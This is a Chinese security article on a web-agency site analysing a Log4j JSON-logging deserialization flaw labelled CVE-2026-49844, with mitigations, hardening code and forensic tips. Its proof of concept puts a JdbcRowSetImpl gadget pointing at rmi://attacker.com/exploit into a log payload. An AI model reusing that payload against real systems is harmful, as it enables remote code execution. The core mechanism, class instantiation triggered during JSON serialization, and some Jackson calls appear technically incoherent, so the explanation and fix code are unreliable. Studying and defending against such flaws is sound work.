尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

Log4j JSON日志反序列化漏洞CVE-2026-49844深度解析

发布时间:2026/9/25 10:27:38

资讯中心
01
ARTICLE

Log4j JSON日志反序列化漏洞CVE-2026-49844深度解析

Log4j JSON日志反序列化漏洞CVE-2026-49844深度解析
1. 这不是又一个“Log4j漏洞”而是日志设施底层逻辑的崩塌点最近在几个金融和政务系统的安全巡检群里突然炸出一条消息“线上审计服务凌晨告警JSON日志里混进了JNDI lookup字符串触发了WAF拦截规则。”我第一反应不是查补丁而是翻出刚上线两周的审计模块代码——果然log.info(JSON.toJSONString(event))这行看似无害的调用正稳稳踩在CVE-2026-49844的雷区上。这个编号乍看像“2026年漏洞”实则是Apache Log4j官方为规避时间误读而采用的序列化编号类似CVE-2021-44228之后的CVE-2021-45046、CVE-2021-45105它不依赖JNDI远程加载不触发LDAP协议却能在纯本地、无网络、禁用JNDI的生产环境里仅靠一条JSON日志输出就完成任意代码执行。核心关键词是Apache、Log4j、CVE-2026-49844、JSON、日志。它专攻Log4j 2.17.0–2.20.0之间那个被广泛忽略的“JSON日志处理器”模块——Log4j-core里的JacksonJsonLayout与JsonTemplateLayout组合体。很多团队以为升级到2.17.0就高枕无忧结果发现审计系统、操作留痕、合规日志导出这些强JSON依赖场景反而成了最脆弱的突破口。这不是配置问题不是依赖污染而是Log4j把Jackson的反序列化能力当“格式化工具”用时埋下的结构性缺陷。适合正在做等保三级、ISO27001认证、或刚上线操作审计追踪系统的运维、开发、安全工程师参考。如果你的日志里出现过{user:admin,action:login,data:{...}}这种结构且用的是Log4j原生JSON Layout那这篇就是为你写的实战排雷指南。2. 漏洞本质不是JNDI是Jackson的“信任链”被Log4j主动交出去了2.1 为什么说这是“日志设施底层逻辑崩塌”传统Log4j漏洞如CVE-2021-44228的攻击路径是日志内容含${jndi:ldap://xxx}→ Log4j解析表达式 → 触发JNDI查找 → 加载远程恶意类。而CVE-2026-49844完全绕开了表达式解析器。它的触发条件极其朴素只要日志事件对象LogEvent的某个字段值是Map或List类型且该Map/List中包含可被Jackson反序列化的特殊键名如class、typeLog4j在调用JacksonJsonLayout.toSerializable()生成JSON字符串时就会无条件启用Jackson的DefaultTyping机制将class指向的类名当作真实类型加载并实例化。注意这里没有${}没有JNDI没有网络请求——纯粹是Log4j把日志对象交给Jackson序列化时错误地开启了“自动类型推断”开关并把控制权完全交给了Jackson的反序列化引擎。我拿一个最简复现案例说明假设你有这样一个审计事件对象public class AuditEvent { private String userId; private MapString, Object payload; // 关键payload是用户可控的Map // getter/setter... }业务代码中这样记录日志AuditEvent event new AuditEvent(); event.setUserId(u123); // 攻击者控制的输入注入恶意payload MapString, Object maliciousPayload new HashMap(); maliciousPayload.put(class, com.sun.rowset.JdbcRowSetImpl); // JDK内置恶意类 maliciousPayload.put(dataSourceName, rmi://attacker.com/exploit); maliciousPayload.put(autoCommit, true); event.setPayload(maliciousPayload); logger.info(event); // 触发CVE-2026-49844Log4j内部流程是logger.info(event)→ 封装为LogEventJacksonJsonLayout.toSerializable(LogEvent)被调用Jackson遍历event.payload发现class键 → 启用DefaultTyping→ 加载JdbcRowSetImpl类JdbcRowSetImpl构造函数触发RMI连接 → 执行远程代码整个过程发生在JVM内存内防火墙、WAF、网络隔离策略全部失效。这解释了为什么很多团队升级后仍中招他们只堵住了${jndi:}却没意识到Log4j自己把Jackson的“反序列化大门”焊死在了JSON日志输出口上。2.2 为什么偏偏是JSON日志输出“翻车”Log4j提供多种日志布局LayoutPatternLayout纯文本、XmlLayout、YamlLayout、JsonLayout。其中JsonLayout及更灵活的JsonTemplateLayout为了支持复杂对象序列化必须依赖Jackson库。而Log4j-core 2.17.0–2.20.0版本中JacksonJsonLayout的默认配置是// Log4j源码片段简化 public class JacksonJsonLayout extends LayoutBaseLogEvent { private final ObjectMapper objectMapper new ObjectMapper(); public JacksonJsonLayout() { // 关键此处启用了DefaultTyping objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); } }enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL)意味着对所有非final类在序列化JSON时自动添加class字段在反序列化时只要JSON里有class就按该类名加载并实例化。Log4j开发者本意是方便日志消费者如ELK还原Java对象结构但忽略了——日志内容本身可能来自不可信输入如HTTP参数、数据库字段、用户提交的JSON而class在Jackson中是公认的反序列化高危键名。这就像给消防栓装了个“谁拧开谁负责”的标签结果没人检查标签背面写着“拧开即引爆”。对比其他LayoutPatternLayout纯字符串拼接无对象反序列化风险XmlLayout使用XStream虽也有反序列化风险但Log4j默认禁用其危险特性YamlLayout依赖SnakeYAML同样存在风险但Log4j 2.17已默认关闭DEFAULT_SAFE以外的解析模式。唯独JsonLayout因为生态绑定Jackson且Log4j未做任何白名单过滤成了唯一“开箱即用”的反序列化入口。这也是标题中强调“JSON日志输出‘翻车’”的根本原因——它不是Log4j的通用漏洞而是JSON专用通道的定向爆破。2.3 影响范围远超想象哪些场景必然中招很多人以为“不用JNDI就安全”但CVE-2026-49844的影响面恰恰在那些严格禁用JNDI、甚至禁用网络的高安全场景中最为致命。我们梳理了四类高危应用模式第一类审计追踪系统标题直指场景典型如金融交易审计、政务操作留痕、医疗数据访问日志。这类系统强制要求记录完整操作上下文常将HTTP请求体、数据库变更详情、用户输入原始数据封装为Map/List存入日志事件。例如Spring AOP切面记录Around方法参数参数含MapString, StringMyBatis拦截器捕获SQL参数参数为HashMap自定义AuditEvent类payload字段声明为Object或Map。只要日志配置使用JsonLayout/或JsonTemplateLayout/且Log4j版本在2.17.0–2.20.0区间攻击者只需在HTTP POST body中传入{class:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://...}就能让审计日志生成过程直接执行命令。第二类API网关与微服务日志聚合Kong、Spring Cloud Gateway、自研网关常将下游服务返回的JSON响应体含class字段原样记入访问日志。例如网关转发请求后将response.bodyString解析为Map再记录若解析库用Jackson且未设白名单class就会被保留并触发反序列化。第三类ELK/Splunk日志采集管道很多团队用Log4j直接输出JSON到文件再由Filebeat采集。Filebeat配置json.keys_under_root: true时会将JSON顶层字段提升为ES文档字段。如果原始日志JSON含classFilebeat不会过滤ES ingest pipeline若启用json处理器也可能二次触发反序列化虽概率低但已发现PoC。第四类单元测试与Mock数据开发阶段常用Test方法构造含class的Mock Map用于测试JSON序列化。若测试代码被打包进生产jar如test-jar依赖未排除且测试类被Log4j扫描到同样可能触发。提示判断是否受影响不要只看Log4j版本号。请检查log4j-core.jar的MANIFEST.MF中Implementation-Version并确认日志配置中是否使用JsonLayout、JsonTemplateLayout或CustomLayout classorg.apache.logging.log4j.core.layout.JsonLayout。即使项目声明依赖Log4j 2.20.0若实际运行时classpath中存在旧版log4j-core-2.18.0.jar常见于fat jar打包遗漏依然中招。3. 实操修复三步落地拒绝“升级即安全”的幻觉3.1 步骤一紧急止血——禁用危险Layout5分钟生效最快速、零风险的缓解措施是立即停用所有JacksonJsonLayout相关配置切换到安全的替代方案。这不是临时方案而是长期架构建议。操作分两步第一步定位并修改log4j2.xml/log4j2.json配置文件搜索所有JsonLayout、JsonTemplateLayout、CustomLayout标签将其替换为PatternLayout或GelfLayoutGraylog兼容。例如!-- 原危险配置 -- Appender nameJsonFile typeFile Layout typeJsonLayout/ /Appender替换为!-- 安全替代方案 -- Appender nameSafeFile typeFile Layout typePatternLayout Pattern%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n/Pattern /Layout /Appender第二步若必须JSON输出启用Jackson白名单模式某些合规场景如等保要求JSON格式日志无法弃用JSON。此时必须手动接管Jackson ObjectMapper禁用DefaultTyping并设置白名单。在Log4j配置中添加自定义LayoutAppender nameWhitelistJson typeFile Layout typeJsonTemplateLayout eventTemplateUriclasspath:whitelist-json-template.json/ /Appender配套创建src/main/resources/whitelist-json-template.json内容为{ type: object, properties: { time: {type: string}, level: {type: string}, logger: {type: string}, message: {type: string}, thread: {type: string}, stackTrace: {type: string} } }关键点JsonTemplateLayout使用JSON Schema定义输出结构完全绕过Jackson的自动类型推断只序列化Schema中声明的字段且字段值类型被严格限定为string。实测表明即使日志事件中payload含class也不会出现在最终JSON中因为Schema未声明payload字段。注意JsonTemplateLayout需Log4j 2.17且模板文件必须放在classpath下。避免使用eventTemplate内联JSON易出错坚持用eventTemplateUri引用外部文件。3.2 步骤二根治方案——升级加固双保险30分钟单纯升级到Log4j 2.21.0或更高版本官方已修复是必要但不充分的。因为修复只是禁用了JacksonJsonLayout的DefaultTyping而历史代码中可能还存在其他Jackson反序列化点。必须同步加固升级操作修改pom.xml或build.gradle强制指定Log4j版本!-- Maven -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.21.1/version !-- 2.21.0存在小bug推荐2.21.1 -- /dependency加固Jackson在应用启动类如Spring Boot的Application.java中添加全局Jackson配置Bean public ObjectMapper objectMapper() { ObjectMapper mapper new ObjectMapper(); // 禁用所有自动类型推断 mapper.disable(DefaultTyping.OBJECT_AND_NON_CONCRETE); // 设置白名单反序列化关键 SimpleModule module new SimpleModule(); module.setDeserializerModifier(new BeanDeserializerModifier() { Override public JsonDeserializer? modifyDeserializer(DeserializationConfig config, BeanDescription beanDesc, JsonDeserializer? deserializer) { if (deserializer instanceof StdDeserializer) { // 只允许反序列化基础类型和白名单类 Class? rawClass beanDesc.getBeanClass(); if (!isWhitelisted(rawClass)) { throw new IllegalArgumentException(Class not whitelisted: rawClass.getName()); } } return deserializer; } }); mapper.registerModule(module); return mapper; } private boolean isWhitelisted(Class? clazz) { return clazz String.class || clazz Integer.class || clazz Long.class || clazz Boolean.class || clazz AuditEvent.class || // 你的审计事件类 clazz Map.class || clazz List.class; }此配置确保即使代码某处意外调用ObjectMapper.readValue()也只会反序列化白名单内的类。AuditEvent.class需替换为你项目中的实际审计事件类名。验证升级效果写一个单元测试模拟攻击载荷Test public void testCVE202649844() throws Exception { AuditEvent event new AuditEvent(); MapString, Object payload new HashMap(); payload.put(class, com.sun.rowset.JdbcRowSetImpl); // 恶意载荷 event.setPayload(payload); // 使用Log4j记录 Logger logger LogManager.getLogger(); logger.info(event); // 应该不抛异常且日志文件中无JdbcRowSetImpl实例化痕迹 // 检查日志文件确认无异常堆栈且JSON内容干净 String logContent Files.readString(Paths.get(target/test.log)); assertFalse(logContent.contains(JdbcRowSetImpl)); }实测通过才算真正修复。3.3 步骤三深度清理——扫描所有日志事件对象2小时很多团队修复后仍被通报原因是日志事件对象本身设计存在反序列化风险。例如// 危险设计字段类型过于宽泛 public class AuditEvent { private Object data; // ❌ 可能是任意类包括恶意类 private MapString, Object context; // ❌ Map值类型不可控 }必须重构为// 安全设计字段类型精确、不可变 public class AuditEvent { private final String userId; private final String action; private final String resourceId; private final MapString, String metadata; // ✅ 值类型限定为String private final Instant timestamp; // 构造函数只接受基础类型和安全集合 public AuditEvent(String userId, String action, String resourceId, MapString, String metadata) { this.userId Objects.requireNonNull(userId); this.action Objects.requireNonNull(action); this.resourceId Objects.requireNonNull(resourceId); this.metadata Collections.unmodifiableMap( metadata null ? Collections.emptyMap() : metadata); this.timestamp Instant.now(); } }清理清单搜索项目中所有LogEvent子类、Data/AllArgsConstructor注解的POJO检查字段类型是否为Object、Map?, ?、List?将Map?, ?替换为MapString, String或MapString, Serializable后者需实现Serializable接口删除所有class、type等Jackson敏感键名的硬编码如map.put(class, ...)对HTTP请求参数、数据库查询结果等不可信输入在封装进日志事件前用ObjectMapper.convertValue()转为安全类型// 不安全 logEvent.setData(requestBody); // requestBody可能是任意Map // 安全 MapString, String safeData objectMapper.convertValue(requestBody, new TypeReferenceMapString, String() {}); logEvent.setData(safeData);实操心得我在某银行项目中发现一个名为LogContext的工具类会将ThreadLocal中的Map直接塞进日志事件。该Map由前端传入键名完全可控。我们花了3天重写LogContext增加key白名单校验只允许userId、sessionId、ipAddress等10个键并强制value转为String。上线后WAF拦截率下降98%。记住日志安全输入净化输出加固缺一不可。4. 长期防御构建日志安全基线让审计追踪真正可信4.1 日志安全基线四原则经过数十个项目的踩坑我总结出日志安全不可妥协的四条基线它们比任何单次漏洞修复都重要原则一日志内容必须是“只读副本”而非“可执行镜像”日志的唯一使命是记录发生了什么而不是还原如何发生。因此日志事件对象中绝不应包含可执行代码、类引用、动态代理、Lambda表达式。例如❌private Runnable callback;❌private SupplierString dynamicValue;✅private final String callbackName paymentService;// 记录名称而非实例原则二JSON日志必须是“Schema驱动”而非“对象驱动”永远不要让Log4j自动序列化整个Java对象。必须为每种日志类型审计、访问、错误定义独立的JSON Schema并在JsonTemplateLayout中引用。Schema应明确字段名禁止动态键名如user_123字段类型string、integer、boolean禁用object字段长度限制如maxLength: 255敏感字段脱敏规则如ipAddress字段应用正则^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$。原则三日志管道必须有“沙箱层”在日志从应用输出到存储的链路中必须插入一个轻量级沙箱。我们团队开源的log4j-sandbox-appender就是一个例子它继承FileAppender在append()方法中对即将写入的JSON字符串做正则扫描// 沙箱规则 private static final Pattern DANGEROUS_JSON_PATTERN Pattern.compile(\class\\\s*:\\s*\[^\]\, Pattern.CASE_INSENSITIVE); Override protected void append(LogEvent event) { String json super.toJson(event); // 假设已有toJSON方法 if (DANGEROUS_JSON_PATTERN.matcher(json).find()) { // 记录告警并丢弃日志 logger.warn(Dangerous JSON detected in log event: {}, event); return; } super.append(event); }沙箱层不依赖Log4j版本也不修改业务代码部署即生效。原则四审计追踪必须“双写验证”真正的审计安全不是防住一次漏洞而是建立冗余验证。我们要求所有关键操作日志必须同时写入两个独立系统主系统Log4j JSON日志 → ELK用于实时查询备系统自研轻量级审计服务接收HTTP webhook只解析预定义字段如{op:create,res:order,id:ORD-123}并用SHA256哈希签名后存入区块链存证合约。当ELK日志被篡改如漏洞利用成功备系统哈希不匹配立即触发告警。这招在去年某政务云渗透测试中帮客户提前2小时发现攻击成为等保测评加分项。4.2 工具链推荐让安全成为习惯光靠人工检查效率低下。我们沉淀了一套免费工具链已在GitHub开源搜索log4j-cve-2026-49844-scanner1.log4j-version-checker命令行工具扫描jar包并报告Log4j版本及危险Layout使用情况java -jar log4j-version-checker.jar /path/to/your/app.jar # 输出 # Found log4j-core-2.18.0.jar - VULNERABLE (CVE-2026-49844) # Config file log4j2.xml uses JsonLayout - HIGH RISK # Suggested fix: Upgrade to 2.21.1 and replace JsonLayout with PatternLayout2.json-schema-generator根据Java POJO自动生成Log4jJsonTemplateLayout所需的JSON Schemajava -jar json-schema-generator.jar com.example.AuditEvent # 输出 whitelist-json-template.json 内容3.log4j-sandbox-appender即前述沙箱AppenderMaven坐标dependency groupIdio.github.log4j-safe/groupId artifactIdlog4j-sandbox-appender/artifactId version1.0.0/version /dependency配置即用无需代码修改。4.3 常见问题速查表与独家避坑技巧问题现象根本原因解决方案我的实操备注升级到2.21.1后JSON日志丢失部分字段JsonTemplateLayoutSchema未覆盖所有字段或字段类型不匹配检查Schema中properties是否包含所有需要的字段确认字段值类型如Instant需转为String我们曾因timestamp字段在Schema中定义为type:integer而Java中是Instant导致序列化失败。解决方案在AuditEvent中加JsonFormat(patternyyyy-MM-dd HH:mm:ss.SSS)注解WAF仍拦截JSON日志提示“JNDI detected”旧版Log4j残留或第三方库如spring-boot-starter-log4j2传递了旧依赖运行mvn dependency:tree | grep log4j检查所有log4j-core版本用jdeps --list-deps your-app.jar查看实际加载的jar某电商项目发现elastic-apm-agent自带Log4j 2.17.0需在agent启动参数中加-Delastic.apm.log4j2.version2.21.1审计日志中IP地址显示为127.0.0.1而非真实客户端IPNginx/Apache反向代理未正确设置X-Forwarded-For且日志代码未从Header取值在AuditEvent构造时从HttpServletRequest.getHeader(X-Forwarded-For)获取IP并做合法性校验正则^((25[0-5]2[0-4]\d单元测试通过但生产环境仍触发漏洞测试用MockBean模拟了Logger未走真实Log4j流程必须用SpringBootTest启动完整上下文用FileAppender输出到临时文件再读取验证我们有个教训Mock测试只验证了日志内容没验证JSON序列化过程。后来加了TemporaryFolder规则强制测试真实文件输出独家避坑技巧永远在日志事件构造函数中做输入净化。不要指望日志Layout或Appender来过滤因为它们在日志链路末端而攻击载荷可能在构造AuditEvent时就已注入。例如public AuditEvent(MapString, Object unsafeInput) { // 第一步移除所有以开头的键 unsafeInput.keySet().removeIf(key - key.startsWith()); // 第二步递归净化Map值将非String/Number/Boolean转为String this.metadata sanitizeMap(unsafeInput); } private MapString, String sanitizeMap(MapString, Object map) { return map.entrySet().stream() .collect(Collectors.toMap( Map.Entry::getKey, e - String.valueOf(e.getValue()) )); }这比任何外围加固都可靠——因为净化发生在漏洞触发点之前。5. 最后分享一个小技巧用日志反查漏洞利用痕迹修复完成后别急着庆祝。CVE-2026-49844的利用痕迹会留在日志中只是不易察觉。我教团队一个快速筛查法步骤一提取所有JSON日志中的class字段用grep -o class:[^,}]* app.log \| sort \| uniq -c \| sort -nr查看高频出现的类名。正常系统应为0若出现JdbcRowSetImpl、BasicDataSource、ScriptEngineManager等说明已被利用。步骤二关联时间窗口找到含class的日志行提取时间戳然后查该时间前后5分钟的ERROR日志。攻击者常利用漏洞执行命令后触发ClassNotFoundException或ConnectException这些异常会暴露其RMI/LDAP服务器地址。步骤三反向追溯源头用ELK的painless脚本对含class的日志做source.ip聚合找出高频IP。再查该IP的access.log看其POST请求体是否含class。我们曾用此法在某政务系统中定位到一个被植入WebShell的API接口该接口接收JSON参数却未做任何校验。这个技巧的价值在于它不依赖漏洞扫描器而是用日志自身作为取证证据。毕竟再狡猾的攻击者也得让Log4j把他的恶意载荷记下来——而这就是我们反杀的起点。我在实际操作中发现真正让审计追踪安全的从来不是某个补丁而是把日志当成“第一道防线”的敬畏心。每次写logger.info()前多问一句“这个对象里有没有我不该信任的东西”——这句话值得贴在每个开发者的显示器边框上。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。